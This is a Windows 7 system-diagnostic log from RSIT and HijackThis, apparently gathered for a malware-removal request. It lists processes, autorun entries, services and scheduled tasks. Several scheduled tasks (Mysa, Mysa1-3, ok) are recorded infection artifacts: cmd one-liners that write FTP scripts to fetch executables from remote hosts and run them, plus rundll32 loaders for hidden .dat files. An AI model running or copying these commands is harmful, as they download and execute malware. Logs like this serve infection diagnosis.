﻿Лог утилиты random's system information tool 1.16(автор: random/random)
Run by Администратор at 2017-09-25 13:45:44
Microsoft Windows 7 Профессиональная  Service Pack 1
Системный раздел C: размер 64 GB (64%) Свободно 100 GB
Total RAM: 8156 MB (75% free)
X64

Logfile of Trend Micro HijackThis v2.0.5
Scan saved at 13:45:45, on 25.09.2017
Platform: Windows 7 SP1 (WinNT 6.00.3505)
MSIE: Internet Explorer v11.0 (11.00.9600.17631)


Boot mode: Normal

Running processes:
C:\Program Files (x86)\Splashtop\Splashtop Connect\BackService.exe
C:\Program Files (x86)\Splashtop\Splashtop Connect Firefox Software Updater\WCUService.exe
C:\Users\Администратор\AppData\Local\FluxSoftware\Flux\flux.exe
C:\Program Files (x86)\Splashtop\Splashtop Connect IE Software Updater\WCUService.exe
C:\Program Files (x86)\Splashtop\Splashtop Connect\ZyngaGamesAgent.exe
C:\Program Files (x86)\Skillbrains\lightshot\5.4.0.10\Lightshot.exe
C:\Windows\sysWOW64\wbem\wmiprvse.exe
C:\Program Files (x86)\Google\Update\1.3.33.5\GoogleCrashHandler.exe
C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\UNS\UNS.exe
C:\Users\Администратор\Desktop\AutoLogger\AutoLogger.exe
C:\Users\Администратор\Desktop\AutoLogger\AutoLogger\AVZ\avz.exe
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
C:\Users\Администратор\Desktop\AutoLogger\AutoLogger\RSIT\Администратор_RSITx64.exe

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://go.microsoft.com/fwlink/?LinkId=54896
R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = about:splashtopconnect
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://go.microsoft.com/fwlink/p/?LinkId=255141
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://go.microsoft.com/fwlink/?LinkId=54896
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://go.microsoft.com/fwlink/?LinkId=54896
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/p/?LinkId=255141
R0 - HKLM\Software\Microsoft\Internet Explorer\Search,SearchAssistant = 
R0 - HKLM\Software\Microsoft\Internet Explorer\Search,CustomizeSearch = 
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Local Page = C:\Windows\SysWOW64\blank.htm
R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName = 
R3 - URLSearchHook: Splashtop Connect SearchHook - {0F3DC9E0-C459-4a40-BCF8-747BD9322E10} - C:\Program Files (x86)\Splashtop\Splashtop Connect IE\AddressBarSearch.dll
F2 - REG:system.ini: UserInit=userinit.exe
O2 - BHO: Splashtop Connect VisualBookmark - {0E5680D1-BF44-4929-94AF-FD30D784AD1D} - C:\Program Files (x86)\Splashtop\Splashtop Connect IE\STC.dll
O4 - HKLM\..\Run: [STCAgent] "C:\Program Files (x86)\Splashtop\Splashtop Connect IE\STCAgent.exe"
O4 - HKLM\..\Run: [ZyngaGamesAgent] "C:\Program Files (x86)\Splashtop\Splashtop Connect\ZyngaGamesAgent.exe"
O4 - HKLM\..\Run: [Lightshot] C:\Program Files (x86)\Skillbrains\lightshot\Lightshot.exe
O4 - HKCU\..\Run: [Steam] "G:\Program Files (x86)\Steam\steam.exe" -silent
O4 - HKCU\..\Run: [Discord] C:\Users\Администратор\AppData\Local\Discord\app-0.0.298\Discord.exe
O4 - HKCU\..\Run: [f.lux] "C:\Users\Администратор\AppData\Local\FluxSoftware\Flux\flux.exe" /noshow
O4 - HKUS\S-1-5-19\..\Run: [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun (User 'LOCAL SERVICE')
O4 - HKUS\S-1-5-19\..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe (User 'LOCAL SERVICE')
O4 - HKUS\S-1-5-20\..\Run: [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun (User 'NETWORK SERVICE')
O4 - HKUS\S-1-5-20\..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe (User 'NETWORK SERVICE')
O9 - Extra button: (no name) - {4F9FD89A-24F0-4fb7-9635-D54B3593B85B} - C:\Program Files (x86)\Splashtop\Splashtop Connect IE\STC.dll (HKCU)
O9 - Extra 'Tools' menuitem: @"C:\Program Files (x86)\Splashtop\Splashtop Connect IE\STCHelper.exe",-101 - {4F9FD89A-24F0-4fb7-9635-D54B3593B85B} - C:\Program Files (x86)\Splashtop\Splashtop Connect IE\STC.dll (HKCU)
O9 - Extra button: @"C:\Program Files (x86)\Splashtop\Splashtop Connect IE\STCHelper.exe",-103 - {9E508DD9-844C-4985-AC11-AFE5DD71E0BF} - C:\Program Files (x86)\Splashtop\Splashtop Connect IE\STC.dll (HKCU)
O9 - Extra button: (no name) - {B771147A-4CC8-450e-8AB1-7D47821751B1} - C:\Program Files (x86)\Splashtop\Splashtop Connect IE\STC.dll (HKCU)
O9 - Extra 'Tools' menuitem: @"C:\Program Files (x86)\Splashtop\Splashtop Connect IE\STCHelper.exe",-102 - {B771147A-4CC8-450e-8AB1-7D47821751B1} - C:\Program Files (x86)\Splashtop\Splashtop Connect IE\STC.dll (HKCU)
O9 - Extra button: @"C:\Program Files (x86)\Splashtop\Splashtop Connect IE\STCHelper.exe",-104 - {EB89B163-2474-4734-9E93-68B61BC5BED5} - C:\Program Files (x86)\Splashtop\Splashtop Connect IE\STC.dll (HKCU)
O11 - Options group: [ACCELERATED_GRAPHICS] Accelerated graphics
O23 - Service: @%SystemRoot%\system32\Alg.exe,-112 (ALG) - Unknown owner - C:\Windows\System32\alg.exe (file missing)
O23 - Service: AMD External Events Utility - Unknown owner - C:\Windows\system32\atiesrxx.exe (file missing)
O23 - Service: AppleChargerSrv - Unknown owner - C:\Windows\system32\AppleChargerSrv.exe (file missing)
O23 - Service: BattlEye Service (BEService) - Unknown owner - C:\Program Files (x86)\Common Files\BattlEye\BEService.exe
O23 - Service: BlueStacks Log Rotator Service (BstHdLogRotatorSvc) - BlueStack Systems, Inc. - C:\Program Files (x86)\BlueStacks\HD-LogRotatorService.exe
O23 - Service: SCP DS3 Service (Ds3Service) - Scarlet.Crush Productions - C:\Users\Администратор\Desktop\ScpServer\bin\ScpService.exe
O23 - Service: EasyAntiCheat - EasyAntiCheat Ltd - C:\Windows\system32\EasyAntiCheat.exe
O23 - Service: @%SystemRoot%\system32\efssvc.dll,-100 (EFS) - Unknown owner - C:\Windows\System32\lsass.exe (file missing)
O23 - Service: Служба Google Update (gupdate) (gupdate) - Google Inc. - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
O23 - Service: Служба Google Update (gupdatem) (gupdatem) - Google Inc. - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
O23 - Service: HuaweiHiSuiteService64.exe - Unknown owner - C:\Program Files (x86)\HiSuite\HandSetService\HuaweiHiSuiteService64.exe
O23 - Service: @%SystemRoot%\system32\ieetwcollectorres.dll,-1000 (IEEtwCollectorService) - Unknown owner - C:\Windows\system32\IEEtwCollector.exe (file missing)
O23 - Service: @keyiso.dll,-100 (KeyIso) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: Intel(R) Management and Security Application Local Management Service (LMS) - Intel Corporation - C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
O23 - Service: @comres.dll,-2797 (MSDTC) - Unknown owner - C:\Windows\System32\msdtc.exe (file missing)
O23 - Service: @%SystemRoot%\System32\netlogon.dll,-102 (Netlogon) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: @%systemroot%\system32\psbase.dll,-300 (ProtectedStorage) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: @%systemroot%\system32\Locator.exe,-2 (RpcLocator) - Unknown owner - C:\Windows\system32\locator.exe (file missing)
O23 - Service: @%SystemRoot%\system32\samsrv.dll,-1 (SamSs) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: Splashtop Connect Service (SCBackService) - Splashtop Inc. - C:\Program Files (x86)\Splashtop\Splashtop Connect\BackService.exe
O23 - Service: Skype Updater (SkypeUpdate) - Skype Technologies - C:\Program Files (x86)\Skype\Updater\Updater.exe
O23 - Service: @%SystemRoot%\system32\snmptrap.exe,-3 (SNMPTRAP) - Unknown owner - C:\Windows\System32\snmptrap.exe (file missing)
O23 - Service: @%systemroot%\system32\spoolsv.exe,-1 (Spooler) - Unknown owner - C:\Windows\System32\spoolsv.exe (file missing)
O23 - Service: @%SystemRoot%\system32\sppsvc.exe,-101 (sppsvc) - Unknown owner - C:\Windows\system32\sppsvc.exe (file missing)
O23 - Service: Steam Client Service - Valve Corporation - C:\Program Files (x86)\Common Files\Steam\SteamService.exe
O23 - Service: @%SystemRoot%\system32\ui0detect.exe,-101 (UI0Detect) - Unknown owner - C:\Windows\system32\UI0Detect.exe (file missing)
O23 - Service: Intel(R) Management and Security Application User Notification Service (UNS) - Intel Corporation - C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\UNS\UNS.exe
O23 - Service: @%SystemRoot%\system32\vaultsvc.dll,-1003 (VaultSvc) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: @%SystemRoot%\system32\vds.exe,-100 (vds) - Unknown owner - C:\Windows\System32\vds.exe (file missing)
O23 - Service: @%systemroot%\system32\vssvc.exe,-102 (VSS) - Unknown owner - C:\Windows\system32\vssvc.exe (file missing)
O23 - Service: @%SystemRoot%\system32\Wat\WatUX.exe,-601 (WatAdminSvc) - Unknown owner - C:\Windows\system32\Wat\WatAdminSvc.exe (file missing)
O23 - Service: @%systemroot%\system32\wbengine.exe,-104 (wbengine) - Unknown owner - C:\Windows\system32\wbengine.exe (file missing)
O23 - Service: Splashtop Connect Firefox Software Updater Service (WCUService_STC_FF) - Splashtop Inc. - C:\Program Files (x86)\Splashtop\Splashtop Connect Firefox Software Updater\WCUService.exe
O23 - Service: Splashtop Connect IE Software Updater Service (WCUService_STC_IE) - Splashtop Inc. - C:\Program Files (x86)\Splashtop\Splashtop Connect IE Software Updater\WCUService.exe
O23 - Service: @%Systemroot%\system32\wbem\wmiapsrv.exe,-110 (wmiApSrv) - Unknown owner - C:\Windows\system32\wbem\WmiApSrv.exe (file missing)
O23 - Service: @%PROGRAMFILES%\Windows Media Player\wmpnetwk.exe,-101 (WMPNetworkSvc) - Unknown owner - C:\Program Files (x86)\Windows Media Player\wmpnetwk.exe (file missing)

--
End of file - 9739 bytes

====== Список процессов ======

C:\Windows\system32\csrss.exe
C:\Windows\system32\wininit.exe
C:\Windows\system32\csrss.exe
C:\Windows\system32\services.exe
C:\Windows\system32\winlogon.exe
C:\Windows\system32\lsass.exe
C:\Windows\system32\lsm.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
C:\Windows\system32\svchost.exe -k RPCSS
C:\Windows\system32\atiesrxx.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
C:\Windows\system32\svchost.exe -k netsvcs
C:\Windows\system32\svchost.exe -k GPSvcGroup
C:\Windows\system32\svchost.exe -k LocalService
C:\Windows\system32\svchost.exe -k NetworkService
C:\Windows\system32\atieclxx.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
C:\Windows\system32\taskeng.exe
C:\Windows\system32\rundll32.exe
C:\Windows\system32\rundll32.exe
"C:\Users\Администратор\Desktop\ScpServer\bin\ScpService.exe"
C:\Windows\system32\taskhost.exe
"C:\Windows\system32\Dwm.exe"
C:\Windows\Explorer.EXE
"C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe" -s
"C:\Program Files\Microsoft Xbox 360 Accessories\XBoxStat.exe" silentrun
"C:\Program Files (x86)\HiSuite\HandSetService\HuaweiHiSuiteService64.exe" -/service
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
"C:\Program Files (x86)\Splashtop\Splashtop Connect\BackService.exe"
C:\Windows\system32\svchost.exe -k imgsvc
"C:\Program Files (x86)\Splashtop\Splashtop Connect Firefox Software Updater\WCUService.exe"
"C:\Users\Администратор\AppData\Local\FluxSoftware\Flux\flux.exe" /noshow
"C:\Program Files (x86)\Splashtop\Splashtop Connect IE Software Updater\WCUService.exe"
"C:\Program Files (x86)\Splashtop\Splashtop Connect\ZyngaGamesAgent.exe" 
"C:\Program Files (x86)\Skillbrains\lightshot\5.4.0.10\Lightshot.exe" 
C:\Windows\system32\wbem\unsecapp.exe -Embedding
C:\Windows\sysWOW64\wbem\wmiprvse.exe -Embedding
C:\Program Files\AMD\CNext\CNext\RadeonSettings.exe atlogon
"C:\Program Files (x86)\Google\Update\1.3.33.5\GoogleCrashHandler.exe"
"C:\Program Files (x86)\Google\Update\1.3.33.5\GoogleCrashHandler64.exe"
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
"C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe"
C:\Windows\System32\svchost.exe -k secsvcs
"C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\UNS\UNS.exe"
C:\Windows\system32\sppsvc.exe
C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\AUDIODG.EXE 0x2d0
"C:\Users\Администратор\Desktop\AutoLogger\AutoLogger.exe" 
"C:\Users\Администратор\Desktop\AutoLogger\AutoLogger\AVZ\avz.exe" Script=AVZ\GeneralScript.txt HiddenMode=0
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" -- "http://google.ru/"
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Администратор\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Администратор\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=60.0.3112.113 --initial-client-data=0x7c,0x80,0x84,0x78,0x88,0x7feedd029b8,0x7feedd029f8,0x7feedd029d0
"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://google.ru
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=watcher --main-thread-id=5112 --on-initialized-event-handle=308 --parent-handle=312 /prefetch:6
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1152,11769862014335268443,15743889934432418954,131072 --disable-direct-composition --supports-dual-gpus=false --gpu-driver-bug-workarounds=7,10,11,19,20,21,24,43,77 --disable-gl-extensions="GL_KHR_blend_equation_advanced GL_KHR_blend_equation_advanced_coherent" --gpu-vendor-id=0x1002 --gpu-device-id=0x6819 --gpu-driver-vendor="Advanced Micro Devices, Inc." --gpu-driver-version=22.19.662.4 --gpu-driver-date=7-20-2017 --service-request-channel-token=9ED51907BBB7EC4C704500321A814AEA --mojo-platform-channel-handle=1168 --ignored=" --type=renderer " /prefetch:2
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --lang=ru --service-request-channel-token=E7C9C3C68ABCF1648A707C467340274C --mojo-platform-channel-handle=1748 --ignored=" --type=renderer " /prefetch:8
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1152,11769862014335268443,15743889934432418954,131072 --service-pipe-token=205C63EDB4CCC9F9BBE7BB01C4489EE4 --lang=ru --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --blink-settings=disallowFetchForDocWrittenScriptsInMainFrame=false,disallowFetchForDocWrittenScriptsInMainFrameOnSlowConnections=true --enable-pinch --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553 --service-request-channel-token=205C63EDB4CCC9F9BBE7BB01C4489EE4 --renderer-client-id=8 --mojo-platform-channel-handle=2088 /prefetch:1
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1152,11769862014335268443,15743889934432418954,131072 --service-pipe-token=59C5FC8F145C549A741CA80F8694EB0A --lang=ru --extension-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --blink-settings=disallowFetchForDocWrittenScriptsInMainFrame=false,disallowFetchForDocWrittenScriptsInMainFrameOnSlowConnections=true --enable-pinch --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553 --service-request-channel-token=59C5FC8F145C549A741CA80F8694EB0A --renderer-client-id=5 --mojo-platform-channel-handle=2516 /prefetch:1
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1152,11769862014335268443,15743889934432418954,131072 --service-pipe-token=06B1DA9F173502C08402B4820B4309DA --lang=ru --extension-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --blink-settings=disallowFetchForDocWrittenScriptsInMainFrame=false,disallowFetchForDocWrittenScriptsInMainFrameOnSlowConnections=true --enable-pinch --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553 --service-request-channel-token=06B1DA9F173502C08402B4820B4309DA --renderer-client-id=6 --mojo-platform-channel-handle=2664 /prefetch:1
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1152,11769862014335268443,15743889934432418954,131072 --service-pipe-token=E235B0583FB2A415E033A910F031052C --lang=ru --extension-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --blink-settings=disallowFetchForDocWrittenScriptsInMainFrame=false,disallowFetchForDocWrittenScriptsInMainFrameOnSlowConnections=true --enable-pinch --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553 --service-request-channel-token=E235B0583FB2A415E033A910F031052C --renderer-client-id=7 --mojo-platform-channel-handle=3100 /prefetch:1
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4348 CREDAT:275457 /prefetch:2
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4348 CREDAT:209959 /prefetch:2
C:\Users\Администратор\Desktop\AutoLogger\AutoLogger\RSIT\RSITx64.exe /silent /m3 /autolog /logfolder "C:\Users\Администратор\Desktop\AutoLogger\AutoLogger\RSIT\Log" /hjtp "C:\Users\Администратор\Desktop\AutoLogger\AutoLogger\RSIT\HiJackThis.exe"
C:\Windows\system32\wbem\wmiprvse.exe

====== Папка назначенных заданий ======

C:\Windows\tasks\update-S-1-5-21-2248936580-358153698-228202076-500.job - C:\Program Files (x86)\Skillbrains\Updater\Updater.exe -runmode=checkupdate
C:\Windows\tasks\update-sys.job - C:\Program Files (x86)\Skillbrains\Updater\Updater.exe -runmode=checkupdate
C:\Windows\system32\tasks\GoogleUpdateTaskMachineCore - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe /c
C:\Windows\system32\tasks\GoogleUpdateTaskMachineUA - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe /ua /installsource scheduler
C:\Windows\system32\tasks\Mysa - cmd /c echo open down.mysking.info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe>>s&echo bye>>s&ftp -s:s&a.exe
C:\Windows\system32\tasks\Mysa1 - rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa
C:\Windows\system32\tasks\Mysa2 - cmd /c echo open ftp.oo000oo.me>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p
C:\Windows\system32\tasks\Mysa3 - cmd /c echo open ftp.oo000oo.me>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe
C:\Windows\system32\tasks\ok - rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa
C:\Windows\system32\tasks\StartCN - "C:\Program Files\AMD\CNext\CNext\cncmd.exe" startwithdelay
C:\Windows\system32\tasks\update-S-1-5-21-2248936580-358153698-228202076-500 - C:\Program Files (x86)\Skillbrains\Updater\Updater.exe -runmode=checkupdate
C:\Windows\system32\tasks\update-sys - C:\Program Files (x86)\Skillbrains\Updater\Updater.exe -runmode=checkupdate
C:\Windows\system32\tasks\WPD\SqmUpload_S-1-5-21-2248936580-358153698-228202076-500 - %windir%\system32\rundll32.exe portabledeviceapi.dll,#1
C:\Windows\system32\tasks\Microsoft\Windows Defender\MP Scheduled Scan - c:\program files\windows defender\MpCmdRun.exe Scan -ScheduleJob -WinTask -RestrictPrivilegesScan
C:\Windows\system32\tasks\Microsoft\Windows\WindowsBackup\ConfigNotification - %systemroot%\System32\sdclt.exe /CONFIGNOTIFICATION
C:\Windows\system32\tasks\Microsoft\Windows\Windows Media Sharing\UpdateLibrary - "%ProgramFiles%\Windows Media Player\wmpnscfg.exe"
C:\Windows\system32\tasks\Microsoft\Windows\Windows Filtering Platform\BfeOnServiceStartTypeChange - %windir%\system32\rundll32.exe bfe.dll,BfeOnServiceStartTypeChange
C:\Windows\system32\tasks\Microsoft\Windows\Windows Error Reporting\QueueReporting - %windir%\system32\wermgr.exe -queuereporting
C:\Windows\system32\tasks\Microsoft\Windows\Windows Activation Technologies\ValidationTask - %SystemRoot%\system32\Wat\WatAdminSvc.exe /run
C:\Windows\system32\tasks\Microsoft\Windows\Windows Activation Technologies\ValidationTaskDeadline - %SystemRoot%\system32\schtasks.exe /run /I /TN "\Microsoft\Windows\Windows Activation Technologies\ValidationTask"
C:\Windows\system32\tasks\Microsoft\Windows\UPnP\UPnPHostConfig - sc.exe config upnphost start= auto
C:\Windows\system32\tasks\Microsoft\Windows\Time Synchronization\SynchronizeTime - %windir%\system32\sc.exe start w32time task_started
C:\Windows\system32\tasks\Microsoft\Windows\Tcpip\IpAddressConflict1 - %windir%\system32\rundll32.exe ndfapi.dll,NdfRunDllDuplicateIPOffendingSystem
C:\Windows\system32\tasks\Microsoft\Windows\Tcpip\IpAddressConflict2 - %windir%\system32\rundll32.exe ndfapi.dll,NdfRunDllDuplicateIPDefendingSystem
C:\Windows\system32\tasks\Microsoft\Windows\SystemRestore\SR - %windir%\system32\rundll32.exe /d srrstr.dll,ExecuteScheduledSPPCreation
C:\Windows\system32\tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask - sc.exe start sppsvc
C:\Windows\system32\tasks\Microsoft\Windows\RemoteAssistance\RemoteAssistanceTask - %windir%\system32\RAServer.exe /offerraupdate
C:\Windows\system32\tasks\Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeSystem - %SystemRoot%\System32\powercfg.exe -energy -auto
C:\Windows\system32\tasks\Microsoft\Windows\NetTrace\GatherNetworkInfo - %windir%\system32\gatherNetworkInfo.vbs
C:\Windows\system32\tasks\Microsoft\Windows\MUI\LPRemove - %windir%\system32\lpremove.exe
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\ActivateWindowsSearch - %SystemRoot%\ehome\ehPrivJob.exe /DoActivateWindowsSearch
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\ConfigureInternetTimeService - %SystemRoot%\ehome\ehPrivJob.exe /DoConfigureInternetTimeService
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\DispatchRecoveryTasks - %SystemRoot%\ehome\ehPrivJob.exe /DoRecoveryTasks $(Arg0)
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\ehDRMInit - %SystemRoot%\ehome\ehPrivJob.exe /DRMInit
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\InstallPlayReady - %SystemRoot%\ehome\ehPrivJob.exe /InstallPlayReady $(Arg0)
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\mcupdate - %SystemRoot%\ehome\mcupdate $(Arg0)
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\MediaCenterRecoveryTask - %SystemRoot%\ehome\mcupdate.exe -MediaCenterRecoveryTask
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\ObjectStoreRecoveryTask - %SystemRoot%\ehome\mcupdate.exe -ObjectStoreRecoveryTask
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\OCURActivate - %SystemRoot%\ehome\ehPrivJob.exe /OCURActivate
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\OCURDiscovery - %SystemRoot%\ehome\ehPrivJob.exe /OCURDiscovery $(Arg0)
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\PBDADiscovery - %SystemRoot%\ehome\ehPrivJob.exe /PBDADiscovery
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\PBDADiscoveryW1 - %SystemRoot%\ehome\ehPrivJob.exe /wait:7 /PBDADiscovery
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\PBDADiscoveryW2 - %SystemRoot%\ehome\ehPrivJob.exe /wait:90 /PBDADiscovery
